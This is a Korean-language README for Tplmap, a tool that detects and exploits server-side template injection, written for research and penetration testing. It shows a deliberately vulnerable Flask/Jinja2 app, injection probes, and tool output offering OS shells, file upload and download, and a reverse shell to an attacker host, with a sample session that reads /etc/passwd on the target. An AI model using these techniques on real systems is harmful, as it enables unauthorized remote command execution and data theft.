
서버 측 템플릿 인젝션 및 코드 인젝션 탐지 및 익스플로잇 도구
이 프로젝트는 더 이상 유지 관리되지 않습니다. 테스트 스위트를 손상시키지 않는 한 새로운 PR은 병합할 의향이 있습니다.
Tplmap은 샌드박스 탈출 기술을 활용하여 Code Injection 및 Server-Side Template Injection 취약점의 악용을 지원하며, 이를 통해 기본 운영 체제에 접근할 수 있습니다.
이 도구와 테스트 스위트는 SSTI 취약점 클래스를 연구하고 웹 애플리케이션 침투 테스트 중 공격 보안 도구로 사용하기 위해 개발되었습니다.
샌드박스 탈출 기술은 James Kett의 Server-Side Template Injection: RCE For The Modern Web App, 다른 공개 연구 [1] [2], 그리고 이 도구에 대한 기여 [3] [4]에서 비롯되었습니다.
여러 코드 컨텍스트 및 블라인드 인젝션 시나리오를 악용할 수 있습니다. 또한 Python, Ruby, PHP, Java 및 일반적인 비샌드박스 템플릿 엔진에서 _eval()_과 유사한 코드 인젝션을 지원합니다.
사용자가 제공한 값으로 구성된 템플릿을 사용하여 동적 페이지를 생성하는 웹 사이트를 감사한다고 가정해 보겠습니다. 예를 들어, Python과 Flask로 작성된 이 웹 애플리케이션은 Jinja2 템플릿 엔진을 안전하지 않은 방식으로 사용합니다.
from flask import Flask, request
from jinja2 import Environment
app = Flask(__name__)
Jinja2 = Environment()
@app.route("/page")
def page():
name = request.values.get('name')
# SSTI VULNERABILITY
# The vulnerability is introduced concatenating the
# user-provided `name` variable to the template string.
output = Jinja2.from_string('Hello ' + name + '!').render()
# Instead, the variable should be passed to the template context.
# Jinja2.from_string('Hello {{name}}!').render(name = name)
return output
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
블랙박스 테스트 관점에서 페이지는 XSS 취약점과 유사하게 값을 반영하지만, 런타임에 기본 연산을 계산하여 SSTI 특성을 드러냅니다.
$ curl -g 'http://www.target.com/page?name=John'
Hello John!
$ curl -g 'http://www.target.com/page?name={{7*7}}'
Hello 49!
Tplmap은 범위 내 템플릿 엔진에서 SSTI를 탐지 및 악용하여 기본 파일 시스템 및 운영 체제에 접근할 수 있습니다. URL에 대해 실행하여 매개변수가 취약한지 테스트합니다.
$ ./tplmap.py -u 'http://www.target.com/page?name=John'
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '{*}'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
...
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Rerun tplmap providing one of the following options:
--os-shell Run shell on the target
--os-cmd Execute shell commands
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
--os-shell 옵션을 사용하여 대상에 가상 터미널을 실행합니다.
$ ./tplmap.py --os-shell -u 'http://www.target.com/page?name=John'
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Run commands on the operating system.
linux $ whoami
www
linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
Tplmap은 15개 이상의 템플릿 엔진, 비샌드박스 템플릿 엔진 및 일반적인 eval() 유사 인젝션을 지원합니다.
burp_extension/README.md를 참조하세요.
| Engine | Remote Command Execution | Blind | Code evaluation | File read | File write |
|---|
| Mako | ✓ | ✓ | Python | ✓ | ✓ |
| Jinja2 | ✓ | ✓ | Python | ✓ | ✓ |
| Python (code eval) | ✓ | ✓ | Python | ✓ | ✓ |
| Tornado | ✓ | ✓ | Python | ✓ | ✓ |
| Nunjucks | ✓ | ✓ | JavaScript | ✓ | ✓ |
| Pug | ✓ | ✓ | JavaScript | ✓ | ✓ |
| doT | ✓ | ✓ | JavaScript | ✓ | ✓ |
| Marko | ✓ | ✓ | JavaScript | ✓ | ✓ |
| JavaScript (code eval) | ✓ | ✓ | JavaScript | ✓ | ✓ |
| Dust (<= [email protected]) | ✓ | ✓ | JavaScript | ✓ | ✓ |
| EJS | ✓ | ✓ | JavaScript | ✓ | ✓ |
| Ruby (code eval) | ✓ | ✓ | Ruby | ✓ | ✓ |
| Slim | ✓ | ✓ | Ruby | ✓ | ✓ |
| ERB | ✓ | ✓ | Ruby | ✓ | ✓ |
| Smarty (unsecured) | ✓ | ✓ | PHP | ✓ | ✓ |
| PHP (code eval) | ✓ | ✓ | PHP | ✓ | ✓ |
| Twig (<=1.19) | ✓ | ✓ | PHP | ✓ | ✓ |
| Freemarker | ✓ | ✓ | Java | ✓ | ✓ |
| Velocity | ✓ | ✓ | Java | ✓ | ✓ |
| Twig (>1.19) | × | × | × | × | × |
| Smarty (secured) | × | × | × | × | × |
| Dust (> [email protected]) | × | × | × | × | × |